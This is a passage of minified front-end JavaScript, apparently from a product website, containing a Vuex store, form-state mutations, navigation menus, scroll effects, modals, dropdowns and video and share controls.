a=Xe.config.silent;Xe.config.silent=!0,e._vm=new Xe({data:{$$state:t},computed:s}),Xe.config.silent=a,e.strict&&function(e){e._vm.$watch((function(){return this._data.$$state}),(function(){}),{deep:!0,sync:!0})}(e),n&&(i&&e._withCommit((function(){n._data.$$state=null})),Xe.nextTick((function(){return n.$destroy()})))}function st(e,t,i,n,r){var s=!i.length,a=e._modules.getNamespace(i);if(n.namespaced&&(e._modulesNamespaceMap[a]=n),!s&&!r){var o=at(t,i.slice(0,-1)),l=i[i.length-1];e._withCommit((function(){Xe.set(o,l,n.state)}))}var u=n.context=function(e,t,i){var n=""===t,r={dispatch:n?e.dispatch:function(i,n,r){var s=ot(i,n,r),a=s.payload,o=s.options,l=s.type;return o&&o.root||(l=t+l),e.dispatch(l,a)},commit:n?e.commit:function(i,n,r){var s=ot(i,n,r),a=s.payload,o=s.options,l=s.type;o&&o.root||(l=t+l),e.commit(l,a,o)}};return Object.defineProperties(r,{getters:{get:n?function(){return e.getters}:function(){return function(e,t){var i={},n=t.length;return Object.keys(e.getters).forEach((function(r){if(r.slice(0,n)===t){var s=r.slice(n);Object.defineProperty(i,s,{get:function(){return e.getters[r]},enumerable:!0})}})),i}(e,t)}},state:{get:function(){return at(e.state,i)}}}),r}(e,a,i);n.forEachMutation((function(t,i){!function(e,t,i,n){(e._mutations[t]||(e._mutations[t]=[])).push((function(t){i.call(e,n.state,t)}))}(e,a+i,t,u)})),n.forEachAction((function(t,i){var n=t.root?i:a+i,r=t.handler||t;!function(e,t,i,n){(e._actions[t]||(e._actions[t]=[])).push((function(t,r){var s,a=i.call(e,{dispatch:n.dispatch,commit:n.commit,getters:n.getters,state:n.state,rootGetters:e.getters,rootState:e.state},t,r);return(s=a)&&"function"==typeof s.then||(a=Promise.resolve(a)),e._devtoolHook?a.catch((function(t){throw e._devtoolHook.emit("vuex:error",t),t})):a}))}(e,n,r,u)})),n.forEachGetter((function(t,i){!function(e,t,i,n){e._wrappedGetters[t]||(e._wrappedGetters[t]=function(e){return i(n.state,n.getters,e.state,e.getters)})}(e,a+i,t,u)})),n.forEachChild((function(n,s){st(e,t,i.concat(s),n,r)}))}function at(e,t){return t.length?t.reduce((function(e,t){return e[t]}),e):e}function ot(e,t,i){var n;return null!==(n=e)&&"object"==typeof n&&e.type&&(i=t,t=e,e=e.type),{type:e,payload:t,options:i}}function lt(e){Xe&&e===Xe||function(e){if(Number(e.version.split(".")[0])>=2)e.mixin({beforeCreate:i});else{var t=e.prototype._init;e.prototype._init=function(e){void 0===e&&(e={}),e.init=e.init?[i].concat(e.init):i,t.call(this,e)}}function i(){var e=this.$options;e.store?this.$store="function"==typeof e.store?e.store():e.store:e.parent&&e.parent.$store&&(this.$store=e.parent.$store)}}(Xe=e)}tt.state.get=function(){return this._vm._data.$$state},tt.state.set=function(e){},et.prototype.commit=function(e,t,i){var n=this,r=ot(e,t,i),s=r.type,a=r.payload,o=(r.options,{type:s,payload:a}),l=this._mutations[s];l&&(this._withCommit((function(){l.forEach((function(e){e(a)}))})),this._subscribers.forEach((function(e){return e(o,n.state)})))},et.prototype.dispatch=function(e,t){var i=this,n=ot(e,t),r=n.type,s=n.payload,a={type:r,payload:s},o=this._actions[r];if(o){try{this._actionSubscribers.filter((function(e){return e.before})).forEach((function(e){return e.before(a,i.state)}))}catch(e){}return(o.length>1?Promise.all(o.map((function(e){return e(s)}))):o[0](s)).then((function(e){try{i._actionSubscribers.filter((function(e){return e.after})).forEach((function(e){return e.after(a,i.state)}))}catch(e){}return e}))}},et.prototype.subscribe=function(e){return it(e,this._subscribers)},et.prototype.subscribeAction=function(e){return it("function"==typeof e?{before:e}:e,this._actionSubscribers)},et.prototype.watch=function(e,t,i){var n=this;return this._watcherVM.$watch((function(){return e(n.state,n.getters)}),t,i)},et.prototype.replaceState=function(e){var t=this;this._withCommit((function(){t._vm._data.$$state=e}))},et.prototype.registerModule=function(e,t,i){void 0===i&&(i={}),"string"==typeof e&&(e=[e]),this._modules.register(e,t),st(this,this.state,e,this._modules.get(e),i.preserveState),rt(this,this.state)},et.prototype.unregisterModule=function(e){var t=this;"string"==typeof e&&(e=[e]),this._modules.unregister(e),this._withCommit((function(){var i=at(t.state,e.slice(0,-1));Xe.delete(i,e[e.length-1])})),nt(this)},et.prototype.hotUpdate=function(e){this._modules.update(e),nt(this,!0)},et.prototype._withCommit=function(e){var t=this._committing;this._committing=!0,e(),this._committing=t},Object.defineProperties(et.prototype,tt);var ut=ft((function(e,t){var i={};return pt(t).forEach((function(t){var n=t.key,r=t.val;i[n]=function(){var t=this.$store.state,i=this.$store.getters;if(e){var n=mt(this.$store,0,e);if(!n)return;t=n.context.state,i=n.context.getters}return"function"==typeof r?r.call(this,t,i):t[r]},i[n].vuex=!0})),i})),ct=ft((function(e,t){var i={};return pt(t).forEach((function(t){var n=t.key,r=t.val;i[n]=function(){for(var t=[],i=arguments.length;i--;)t[i]=arguments[i];var n=this.$store.commit;if(e){var s=mt(this.$store,0,e);if(!s)return;n=s.context.commit}return"function"==typeof r?r.apply(this,[n].concat(t)):n.apply(this.$store,[r].concat(t))}})),i})),dt=ft((function(e,t){var i={};return pt(t).forEach((function(t){var n=t.key,r=t.val;r=e+r,i[n]=function(){if(!e||mt(this.$store,0,e))return this.$store.getters[r]},i[n].vuex=!0})),i})),ht=ft((function(e,t){var i={};return pt(t).forEach((function(t){var n=t.key,r=t.val;i[n]=function(){for(var t=[],i=arguments.length;i--;)t[i]=arguments[i];var n=this.$store.dispatch;if(e){var s=mt(this.$store,0,e);if(!s)return;n=s.context.dispatch}return"function"==typeof r?r.apply(this,[n].concat(t)):n.apply(this.$store,[r].concat(t))}})),i}));function pt(e){return Array.isArray(e)?e.map((function(e){return{key:e,val:e}})):Object.keys(e).map((function(t){return{key:t,val:e[t]}}))}function ft(e){return function(t,i){return"string"!=typeof t?(i=t,t=""):"/"!==t.charAt(t.length-1)&&(t+="/"),e(t,i)}}function mt(e,t,i){return e._modulesNamespaceMap[i]}const gt={Store:et,install:lt,version:"3.1.0",mapState:ut,mapMutations:ct,mapGetters:dt,mapActions:ht,createNamespacedHelpers:function(e){return{mapState:ut.bind(null,e),mapGetters:dt.bind(null,e),mapMutations:ct.bind(null,e),mapActions:ht.bind(null,e)}}},_t={setInputValue:function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{inputId:0,value:{value:"",invalid:!0}};e.form.inputFields[t.inputId].value=t.value.value,e.form.inputFields[t.inputId].invalid=t.value.invalid,e.form.isValid=!0,Object.keys(e.form.inputFields).forEach((t=>{if(e.form.inputFields[t].invalid)return e.form.isValid=!1,null}))},setInputValues:function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{inputId:0,values:{values:[],invalid:!0}};e.form.inputFields[t.inputId].values=t.values.values,e.form.inputFields[t.inputId].invalid=t.values.invalid,e.form.isValid=!0,Object.keys(e.form.inputFields).forEach((t=>{if(e.form.inputFields[t].invalid)return e.form.isValid=!1,null}))},setInput:function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{inputId:0,input:{}};e.form.inputFields[t.inputId]=t.input,e.form.isValid=!0,Object.keys(e.form.inputFields).forEach((t=>{if(e.form.inputFields[t].invalid)return e.form.isValid=!1,null}))},succeedForm:e=>{e.form.success=!0,e.form.error=!1},failForm:e=>{e.form.error=!0},toggleErrorMessages:(e,t)=>{e.form.inputFields={...e.form.inputFields,toggleErrorMessages:!0}},setCtaButtons:(e,t)=>{e.form.ctaButtons[t.dropdownId]=t.ctaButtons,e.form.ctaButtons={...e.form.ctaButtons}},setSelectedProduct:(e,t)=>{e.form.selectedProduct=t},setCategoryAndProduct:(e,t)=>{e.form.selectedProductAndCategory={...e.form.selectedProductAndCategory,...t}},setSelectedCategory:(e,t)=>{e.form.selectedCategory=t}},vt={..._t};var yt=i(28620);t()("script").insertAfter("#app"),t()("head").append(t()("style")),E().use(yt.ZP),E().use(gt);const bt=new gt.Store({state:{test:"hello world",form:{inputFields:{},isValid:!1,success:!1,loading:!1,error:!1,ctaButtons:[],selectedProduct:null,selectedCategory:null,selectedProductAndCategory:{selectedProduct:"",selectedCategory:""}}},mutations:vt});E().config.ignoredElements=["cq","html-container"],E().config.productionTip=!1,E().config.devtools=!1,0===t()("div.landingSpa").length&&(window.vm=new(E())({el:"#app",components:qe,store:bt,mounted(){(e=>{(e=>{e.$children.forEach((t=>{if(t.inputId&&t.$v&&t.errorMessages){const i={value:"",invalid:t.$v.$invalid,errorMessages:{}};Object.keys(t.errorMessages).forEach((e=>{i.errorMessages[e]=t.errorMessages[e].errorMessage})),e.$store.commit("setInput",{inputId:t.inputId,input:i}),t[t.inputId]=""}}))})(this)})()}}),window.Vue=E()),i(89338),i(33526),i(97917);const wt="#header-main",Tt="data-open-subnav",kt="subNavOpened",Mt="hide";let xt,Lt,Ct,Dt,Et;const Pt=".HeaderTop__root",At=".wishlistHeader",It=".compareHeader",Ot=".Header__root",Yt=".header-big-menu";function $t(e){"number"!=typeof e&&(e=0),$(".subnav-inner").is(":visible")&&(Et=setTimeout((function(){$(wt).attr(Tt,""),$("body").removeClass(kt);const e=$(".JS-subnav-category"),t=e.data("toggle-class");e.removeClass(t),$("#main").off("focusin",$t),clearTimeout(Et)}),e))}function jt(){const e=$(Ct[Lt]);e.removeClass(Mt);const t=e.find(".JS-munu-item");t.each((function(e){$(this).css({opacity:0,transform:"translateY(50px)"}),setTimeout((()=>{$(this).css({transitionProperties:"transform, opacities",transitionDuration:"0.5s",transitionTimingFunction:"ease",transitionDelay:"".concat(100*e,"ms")}),setTimeout((()=>{$(this).css({opacity:1,transform:"translateY(0)"})}),50)}),50)})),setTimeout((()=>{t.removeAttr("style")}),2e3)}function Nt(){const e=$(this).data("category");xt=$($(".JS-subnav-category")[e]);const t=xt.data("toggle-class");xt.addClass(t),Lt=$(this).data("subcategory")||0;const i=xt.find(".JS-subnav-products-menu-category-button");i.removeClass("active"),$(i[Lt]).addClass("active"),Ct=xt.find(".JS-grid"),Ct.addClass(Mt)}function Rt(){const e=$(this).data("category"),t=$("#subnav-products-grid-category-".concat(e));[Dt]=t;const i=xt.find(".JS-subnav-products-menu-aside"),n=i.find(".JS-subnav-products-menu-category-button"),r=t.find(".JS-content");i.css({position:"absolute",top:"0",left:"".concat(t.offset().left,"px"),width:"".concat(t.width(),"px"),transitionDuration:"0.6s, 0.3s",transitionProperty:"left, background-color",transitionTimingFunction:"cubic-bezier(0.165, 0.84, 0.44, 1)"}),r.css({opacity:0}),setTimeout((()=>{i.css({left:0,width:"",transitionProperty:"width, left, background-color",transitionDuration:"0.6s"}),n.removeAttr("style"),$("body.rtl-lang .JS-subnav-products-menu-aside").css({position:"relative"})}),50),setTimeout((()=>{i.removeAttr("style"),r.removeAttr("style"),setTimeout((()=>{jt()}),400)}),650)}$("#main").focusin($t),$(document).on("mouseover",wt,(function(){clearTimeout(Et)})).on("mouseleave",wt,(function(){$t(1500)})),$(document).on("click",(function(e){$(e.target).closest("#subnav, .JS-menu-button").length||$t(1500)})),$(document).on("click",".JS-menu-button",(function(){const e=$("#subnav"),t=e.offset().top+e.height(),i=$(window).height();t>$(window).scrollTop()+i&&$("html,body").animate({scrollTop:t-i},500,"swing");const n=$(this).data("value");$(wt).attr(Tt,n),$("body").addClass(kt),$("#main").on("focusin",$t)})),$(document).on("mouseleave",".JS-subnav-products-grid-cell",(function(){this.blur()})),$(document).on("click",".JS-subnav-products-grid-category-button",(function(){$(this).attr("href")||(Nt.apply(this),xt.find(":focusable")[0].focus(),Rt.apply(this))})),$(document).on("click",".JS-subnav-products-menu-category-button",(function(){Nt.apply(this),jt()})),$(document).on("mousedown",".JS-subnav-products-menu-close",(function(){xt.removeClass("open")})),$(document).on("keydown",".JS-subnav-products-menu-close",(function(e){13===e.which&&(xt.removeClass("open"),Dt.focus())})),$(document).ready((()=>{Ht(),$(document).on("header:update",Ht)}));const Ht=()=>{try{const e=($(document.body).attr("data-wishlist-items")||"").split(",").map((e=>e.trim())).filter((e=>""!==e)).length||0,t=($(document.body).attr("data-comparison-codes")||"").split(",").map((e=>e.trim())).filter((e=>""!==e)).length||0;0===e?$(At).hide():($(".JS-wish-list-counter").text(e),$(At).show()),0===t?$(It).hide():($(".JS-compare-counter").find("span").text(t),$(It).show()),0===t&&0===e&&$(Pt).hide(),0!==e||0!==t?($(Pt).show(),$(Ot).addClass("Header__NewMenu"),$(Yt).addClass("ComparisonActive"),$(".responsivegrid").addClass("responsivegridComparison"),$(".OverlayPDP__nav").addClass("OverlayPDP__top"),$(".sticky-state.ProductFilters__root").addClass("ProductFiltersComparison__root"),$(window).scroll((function(){document.documentElement.scrollTop>15&&window.innerWidth>768?($(Pt).addClass("sticky-compare"),$('.CategoriesMenuSliderSticky__sticky[data-waypoint="true"]').css("top",40),$("#fixed-compare-titles").css("top",40)):($(Pt).removeClass("sticky-compare"),$('.CategoriesMenuSliderSticky__sticky[data-waypoint="true"]').css("top",0),$("#fixed-compare-titles").css("top",0))}))):($(Yt).removeClass("ComparisonActive"),$(Ot).removeClass("Header__NewMenu"),$(".responsivegrid").removeClass("responsivegridComparison"),$(".OverlayPDP__nav").removeClass("OverlayPDP__top"),$(".sticky-state.ProductFilters__root").removeClass("ProductFiltersComparison__root"))}catch(e){console.log(e)}};var Ft=i(2711),Bt=i.n(Ft);let Ut,Wt=0,zt=-1;const qt=()=>{const e=$(window).height(),t=window.pageYOffset||document.documentElement.scrollTop,i=t>e?1:1+2e-4*t;$(".JS-scroll-zoom").css("transform","scale(".concat(i,")")),(e=>{if(Ut)Ut=!1;else{if(e>0?$(".JS-listen-scroll").addClass("scrolled"):$(".JS-listen-scroll").removeClass("scrolled"),e>=0&&Wt>=0)if(e>Wt){const e=$(".JS-listen-scroll-direction");e.addClass("scroll-down"),e.removeClass("scroll-up")}else{const e=$(".JS-listen-scroll-direction");e.addClass("scroll-up"),e.removeClass("scroll-down")}Wt=e}})(t),$(".JS-waypoint").each((function(){const e=(e,t)=>{if(1!=t){const t=$(this).data("waypoint-target-id"),i=$("#".concat(t)),n=$(this).data("waypoint-toggle-class");n?i.toggleClass(n):i.attr("data-waypoint",e),i.length>0&&(i[0].active=!0)}},i=$(this),n=i.data("waypoint-offset")||0;t>i.offset().top+n?this.opened||(this.opened=!0,e(!0)):this.opened&&(this.opened=!1,e(!1,$(".ScrollableSections__root").length))})),$(".JS-waypoint-off").each((function(){const e=e=>{const t=$(this).data("waypoint-target-id"),i=$("#".concat(t));i.length>0&&i[0].active&&i.attr("data-waypoint",e)},{top:i}=$(this).offset();t<i?this.opened||0!==i&&(e(!0),this.opened=!0):this.opened&&0!==i&&(this.opened=!1,e(!1))})),$(".JS-scroll-status").each((function(){const e=$(this),i=e.data("scroll-status-start-id"),n=e.data("scroll-status-end-id"),r=$("#".concat(i)),s=$("#".concat(n)),a=r.offset().top;let o=(t-a)/(s.offset().top-a);o<0&&(o=0),e.css({transform:"scaleX(".concat(o,")")})}));const n=$(".JS-waypoint-pagenav");let r=0;for(let e=n.length-1;e>=0;e-=1)if($(n[e]).offset().top-10<=t){r=e;break}if(zt!==r){let e;e=$("#page-nav")[0]?$("#page-nav").children():$(".JS-pagenav-button");const t=$(n[0]).data("waypoint-nav-class")||"active";e.removeClass(t),$(e[r]).addClass(t),zt=r;const i=$("#page-nav-mobile"),s=i.find(".JS-dropdown-item-button");s.removeClass("active");let a=r;-1===r?a=0:r===s.length&&(a=s.length-1);const o=$(s[a]);o.addClass("active"),i.find(".JS-dropdown-button-text").text(o.text())}};$(document).ready(qt),$(document).ready((function(){1==$(".ScrollableSections__root").length&&$(".JS-waypoint").each((function(){const e=e=>{const t=$(this).data("waypoint-target-id"),i=$("#".concat(t,".ScrollableSections__root")),n=$(this).data("waypoint-toggle-class");n?i.toggleClass(n):i.attr("data-waypoint",e),i.length>0&&(i[0].active=!0)};$("#scrollable-sections > section:nth-child(3) > div.JS-side-scroll-item.ScrollableSections__sideNavItem").addClass("active"),setTimeout((function(){e(!0)}),200)}))})),window.addEventListener("scroll",qt);const Vt=()=>{if($(".productdetail").length>0){const e=$(".JS-frequently-compared-render-area .ScrollCarousel__containerWrapper");e.length>0&&e.on("scroll",(function(){const e=$(this),t=e.scrollLeft();e.closest(".JS-frequently-compared-render-area").find(".JS-compare-products-container .ScrollCarousel__root").animate({scrollLeft:t},0);const i=e.find(".JS-animate-opacity.CompareCardsSlide__root");if(i.length>1){const e=i.width(),n=Math.round(t/e);i.css({opacity:"1",transition:"opacity 0.25s ease-in-out"});for(let e=0;e<n;e++)$(i[e]).css("opacity","0.25")}}))}},Jt=window.navigator.userAgent.indexOf("Edge")>-1,Gt=!(!/iPad|iPhone|iPod/.test(navigator.userAgent)||window.MSStream),Kt=navigator.userAgent.toLowerCase().indexOf("android")>-1,Xt=/MSIE (\d+\.\d+);/.test(navigator.userAgent)||navigator.userAgent.indexOf("Trident/")>-1;let Zt;const Qt=()=>{Bt().init({once:!0,duration:null,offset:0,easing:null})},ei=(()=>{{const e=navigator.userAgent,{vendor:t}=navigator;if(/Safari/i.test(e)&&/Apple Computer/.test(t)&&!/Mobi|Android/i.test(e))return!0}return!1})(),ti=function(){{let e=-1;if("Microsoft Internet Explorer"===navigator.appName){const t=navigator.userAgent;null!=new RegExp("MSIE ([0-9]{1,}[\\.0-9]{0,})").exec(t)&&(e=parseFloat(RegExp.$1))}else if("Netscape"===navigator.appName){const t=navigator.userAgent;null!=new RegExp("Trident/.*rv:([0-9]{1,}[\\.0-9]{0,})").exec(t)&&(e=parseFloat(RegExp.$1))}return e}}();let ii=!1;ei&&$("html").addClass("safari-desktop"),$(document).ready((function(){11===ti?$("[data-aos]").addClass("aos-animate"):setTimeout(Qt,500),(Gt||Kt)&&$("[data-aos]:not(.JS-aos-mobile)").addClass("aos-animate"),setTimeout((()=>{$("html").css({opacity:1})}),50)})),$("html").addClass("as-mouseuser"),$(window).keyup((function(e){switch(e.which){case 9:case 13:case 37:case 38:case 39:case 40:$("html").addClass("as-keyboarduser"),$("html").removeClass("as-mouseuser"),ii=!0}})),$(window).mousedown((function(){$("html").removeClass("as-keyboarduser"),$("html").addClass("as-mouseuser"),ii=!1})),i(58402);let ni,ri,si,ai,oi,li=0;const ui=[];let ci,di;const hi=()=>{di=!0,setTimeout((()=>{di=!1}),100)},pi=(e,t)=>{ai&&(ai.addClass("hidden"),$(ai[e]).removeClass("hidden"),oi||(oi=t.closest(".JS-modal").find(".JS-modal-back-button")),0===e?oi.addClass("hidden"):oi.removeClass("hidden"),li=e,ni.find(".JS-modal-back-button").focus())},fi=()=>{di||(hi(),pi(0),ni&&($("body").removeClass("modal-open"),$("body").removeClass("modal-open-blur"),$("body").removeClass("menu-mobile"),ni.closest(".JS-modal").removeClass("open"),setTimeout((function(){ni.css({display:"none"}),ni=null}),500),$(document).off("focusin",mi),$(window).off("resize",gi),ri&&ii&&ri.focus(),clearTimeout(ci),(()=>{const e=$("body");e.hasClass("JS-prevent-enable-scroll-page")||("fixed"===e.css("position")&&(e.css({position:"",top:""}),$(document).scrollTop(Zt)),Ut=!0,e.removeClass("modal-open"))})(),ai=null,oi=null,li=0,ui.length=0,u()))};function mi(e){if(!$(e.target).closest(".JS-modal").length){if(!Gt&&!Kt&&!Xt){const[e]=ni.find(":focusable");e.focus()}window.scrollTo(0,si)}}function gi(){$(window).width()>768&&fi()}const _i=e=>{let{modalId:t,closeOnDesktop:i}=e;if(!di){if(hi(),ni){const e=ni;setTimeout((function(){e.css({display:"none"})}),700)}if(ni=$("#".concat(t)),"modal-search"==t&&Gt&&($("#search-input").blur().focus(),ni.find(":focusable").bind("focus"),$(".ButtonSearchMobile__root").bind("click",(function(){$(".ButtonSearchMobile__root").trigger("keypress")})),$(".ButtonSearchMobile__root").bind("keypress",(function(){$("#search-input").blur().focus()}))),ni[0]){if(si=window.scrollY,ni.css({display:"block"}),setTimeout((function(){ni.addClass("open")}),50),Gt)"modal-search"==t&&($("#search-input").blur().focus(),$("#search-input").bind("focus"),$("#search-input").trigger("keypress"));else{const[e]=ni.find(":focusable");e.focus()}$(document).on("focusin",mi),i&&$(window).on("resize",gi),ci=setTimeout((function(){Gt&&(Zt=$(document).scrollTop(),$("body").css({position:"fixed",top:-Zt,left:0,width:"100%"})),$("body").addClass("modal-open")}),Gt?500:0),ni.data("modal-no-blur")||$("body").addClass("modal-open-blur"),ni.data("menu-mobile")&&$("body").addClass("menu-mobile")}}},vi=e=>{ai||(ai=e.closest(".JS-modal-steps").children())},yi=(e,t)=>{vi(e);const i=e.data(t);ui.push(li),pi(i,e)},bi=e=>{vi(e);const t=e.data("modal-go-to-step-offset")+li;ui.push(li),pi(t,e)};$(".ProductCategoryCard__root").each((function(e){$(this).attr("data-modal-go-to-step-offset",e+1)})),$(document).on("click",".JS-modal-open",(function(e){const t=$(this).data("modal-id"),i=(e=>{let t;if(!e)return!1;const i=s.filter((t=>t==e));return!i&&i.length<1||(t=$(".JS-video-frame."+e),a(t))})(t);if(!i)return;const n=$(this).data("modal-only-mobile");ri=$(this),_i({modalId:t,closeOnDesktop:n}),(()=>{const e=$(".JS-slider-carousel");e.length&&$(e).slick("slickPause")})($(e.target))})),$(document).on("click",".JS-modal-close",(function(){fi(),(()=>{const e=$(".JS-slider-carousel");e.length&&e.slick("slickPlay")})()})),$(document).on("click",".JS-modal-back-layer",fi),$(document).on("click","[data-modal-go-to-step]",(function(){yi($(this),"modal-go-to-step")})),$(document).on("keypress","[data-modal-go-to-step-on-enter]",(function(e){13===e.which&&yi($(this),"modal-go-to-step-on-enter")})),$(document).on("click","[data-modal-go-to-step-offset]",(function(){bi($(this))})),$(document).on("keypress","[data-modal-go-to-step-offset-on-enter]",(function(e){13===e.which&&bi($(this))})),$(document).on("click",".JS-modal-back-button",(function(){pi(ui.pop())})),$(document).on("click",".JS-modal-focus-button-close",(function(){ni.find(".JS-modal-close").focus()})),$(document).on("click",".JS-over-modal-close",(function(){$(this).closest(".JS-over-modal").removeClass("open"),$(".JS-modal.modal.open .JS-blur-content").removeClass("blur")})),$(document).ready((function(){const e=$("#app"),t=$(".JS-modal");t.length>0&&t.each((function(){$(this).detach().appendTo(e)})),window.innerWidth<769&&$("#mobile_menu").length>0&&(()=>{const e=$("#mobile_menu > section.MenuMobile__root > div.MenuMobileCategory__root").last().find("button");e.length>0&&e.css("height","100px")})()})),i(86811);var wi=i(71480);const Ti=()=>{$(".video-js").each((function(){(0,wi.default)(this).pause()}))};let ki;$(document).on("click",".JS-player-stop",(function(){Ti()})),$(document).on("click",".JS-player-html-poster",(function(){const e=$(this);e.addClass("hidden");var t=e.next();(t.length<=0||!t.is("iframe"))&&(t=e.closest(".video-js")),t.removeClass("hidden");const i=e.siblings(".JS-video-frame");if(i.length){if(!a(i))return void e.removeClass("hidden");a(n=e)&&(l(),o(n))}else(0,wi.default)(t[0]).play();var n}));const Si=".JS-dropdown",Mi=".JS-option-title",xi=".JS-dropdown-button";{const e=()=>{const e=ki.data("target-id");e&&$("#".concat(e)).toggleClass("dropdown-opened")},t=(t,i)=>{t.removeClass("open"),document.removeEventListener("click",i),document.removeEventListener("scroll",r,!0),e(t),ki=null},i=e=>{(0===$(e.target).closest(Si).length||$(e.target).hasClass("dropdownButton"))&&t($(Si),i)},n=function(){const e=$(this);if(e.hasClass("active"))return;const n=e.closest(Si),r=e.find(Mi).html();if(n.find(".active").removeClass("active"),e.addClass("active"),n.find(xi).addClass("changed"),n.find(".JS-button-text").html(r),n.hasClass("JS-form-dropdown")){const t=e.find(Mi).text();n.find("input").val(t)}t($(Si),i)},r=e=>{$(e.target).hasClass("JS-dropdown-list")||t($(Si),i)};$(document).on("click",xi,(function(){const n=$(this).closest(Si);ki=n,n.hasClass("open")?t(n,i):($(Si).removeClass("open"),n.addClass("open"),document.addEventListener("click",i),e(n,!0))})),$(window).focusout((function(e){$(e.target).hasClass("dropdownButton")&&$(e.target).parent().is(":last-child")&&t($(Si),i)})),$(document).on("click",".JS-dropdown-item-button",n),Gt&&($(".FooterTop__root").click((function(){$(".JS-dropdown").removeClass("open"),$(Si).removeClass("open")})),$(".FooterMain__root").click((function(){$(".JS-dropdown").removeClass("open"),$(Si).removeClass("open")})))}function Li(){$(".JS-align-center-left").each((function(){const e=$(this),t=e.children(),i=Math.floor($(t[0]).outerWidth(!0)),n=Math.ceil(e.width());if(i*t.length<n)return void e.css({transform:"translateX(0)","justify-content":"center"});const r=Math.round(n%i/2),s="translateX(".concat(r,"px)");e.css({transform:s,"justify-content":"flex-start"})}))}i(94302),i(16661),i(41783),function(e){function t(t){return e.expr.filters.visible(t)&&!e(t).parents().addBack().filter((function(){return"hidden"===e.css(this,"visibility")})).length}e.extend(e.expr[":"],{focusable:i=>function(i,n){let r,s,a,o=i.nodeName.toLowerCase();return"area"===o?(r=i.parentNode,s=r.name,!(!i.href||!s||"map"!==r.nodeName.toLowerCase())&&(a=e("img[usemap=#".concat(s,"]"))[0],!!a&&t(a))):(/input|select|textarea|button|object/.test(o)?!i.disabled:"a"===o&&i.href||n)&&t(i)}(i,!isNaN(e.attr(i,"tabindex")))})}(t()),i(72525),$(document).ready((function(){setTimeout(Li,1e3)})),$(window).on("resize",Li);const Ci=document.getElementsByTagName("body")[0].classList.contains("author"),Di=".JS-full-height";let Ei;const Pi=()=>{if($(Di)){const e=document.getElementById("header");e&&$(Di).css({height:(Ci?700:window.innerHeight)-e.clientHeight-1+"px"})}},Ai=()=>{Ei=requestAnimationFrame((()=>{Pi(),Ai()}))};$(document).ready((function(){Pi(),setTimeout(Pi,100),setTimeout(Pi,1e3)})),$(window).on("resize",Pi),$(document).on("click",".JS-full-height-element-reculc",(function(){const e=$(this).data("full-height-reculc-duration");e?(Ai(),setTimeout((function(){cancelAnimationFrame(Ei)}),e)):Pi()})),i(89573),i(75459),i(59959),i(10481),i(75432),i(20745),i(73746),i(79612),i(91109),i(54305);const Ii=function(e,t){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(void 0===t||isNaN(t))throw Error("maxHeight is required");var n="string"==typeof e?document.querySelectorAll(e):e;if(n){var r=i.character||"&mldr;",s=i.classname||"js-shave",a="boolean"!=typeof i.spaces||i.spaces,o=i.charclassname||"js-shave-char",l='<span class="'.concat(o,'">').concat(r,"</span>");"length"in n||(n=[n]);for(var u=0;u<n.length;u+=1){var c=n[u],d=c.style,h=c.querySelector(".".concat(s)),p=void 0===c.textContent?"innerText":"textContent";h&&(c.removeChild(c.querySelector(".".concat(o))),c[p]=c[p]);var f=c[p],m=a?f.split(" "):f;if(!(m.length<2)){var g=d.height;d.height="auto";var _=d.maxHeight;if(d.maxHeight="none",c.offsetHeight<=t)d.height=g,d.maxHeight=_;else{for(var v=m.length-1,y=0,b=void 0;y<v;)b=y+v+1>>1,c[p]=a?m.slice(0,b).join(" "):m.slice(0,b),c.insertAdjacentHTML("beforeend",l),c.offsetHeight>t?v=b-1:y=b;c[p]=a?m.slice(0,v).join(" "):m.slice(0,v),c.insertAdjacentHTML("beforeend",l);var w=a?" ".concat(m.slice(v).join(" ")):m.slice(v),T=document.createTextNode(w),k=document.createElement("span");k.classList.add(s),k.style.display="none",k.appendChild(T),c.insertAdjacentElement("beforeend",k),d.height=g,d.maxHeight=_}}}}},Oi=".JS-truncate",Yi=function(){const e=$(this),t=e.data("truncate"),i=e.data("truncate-mobile");i&&window.innerWidth<769?Ii(this,i):void 0!==t&&t&&Ii(this,t),e.find(".js-shave").length?e.addClass("truncated"):e.removeClass("truncated")},$i=function(){$(Oi).each(Yi)};$(document).ready((function(){setTimeout((function(){$i()}),1e3)})),$(window).on("resize",$i),$(document).on("truncate",Oi,Yi),$(".JourneyArticleCard__root div.h7").each((function(e){$(this).text().length>70&&$(this).text($(this).text().substr(0,70)+"…")})),i(2356),i(23502);let ji,Ni,Ri,Hi=!1;const Fi=()=>{ji.removeClass("active"),Ni.removeClass("active"),Ri=setTimeout((()=>{Ni.parent().css({display:"none"}),ji=null,Ni=null}),500),Hi=null,$(document).off("click",Ui),$(window).off("resize",Wi)},Bi=e=>{clearTimeout(Ri),ji=e,Ni=e.parent().find(".JS-share-block-desktop"),Ni.parent().css({display:"block"}),e.addClass("active"),setTimeout((()=>{Ni.addClass("active")}),10),$(document).on("click",Ui),$(window).on("resize",Wi),Hi=!0},Ui=e=>{$(e.target).closest(".JS-share-button").length||Fi()};function Wi(){$(window).width()<=768&&Fi()}let zi;$(document).on("click",".JS-share-button",(function(){const e=$(this);$(window).width()<=768?_i({modalId:e.data("share-mobile-modal-id"),closeOnDesktop:!0}):Hi?ji[0]!==this?(Fi(),Bi(e)):Fi():Bi(e)})),i(87424),i(69908),i(48161),$(document).on("click",".JS-button-view",(function(){const e=$(this).data("product-id"),t=$("#".concat(e)).find(".JS-views").children(),i=t.find("img");t.removeClass("active");const n=$(this).data("view-index");i.removeClass("active"),$(t[n]).addClass("active"),$(i[n]).addClass("active")})),$(document).on("touchstart",".JS-views",(function(e){zi=e.originalEvent.touches[0].pageX})),$(document).on("touchmove",".JS-views",(function(e){var t=$(this).find(".ProductInfo__imageWrapperWrapper").length;if(zi&&Math.abs(e.originalEvent.touches[0].pageX-zi)>10){const e=$(this).data("product-id"),i=$("#".concat(e));if(t>1){const e=i.find(".JS-button-view[class*='active']").first();let n=i.find(".ProductInfo__imageWrapperWrapper[class*='activemobile']").first();0===n.length&&(n=i.find(".ProductInfo__imageWrapperWrapper").first(),n.toggleClass("activemobile"));let r,s,a=!1;i.find(".JS-button-view").each((e=>{if(a)return 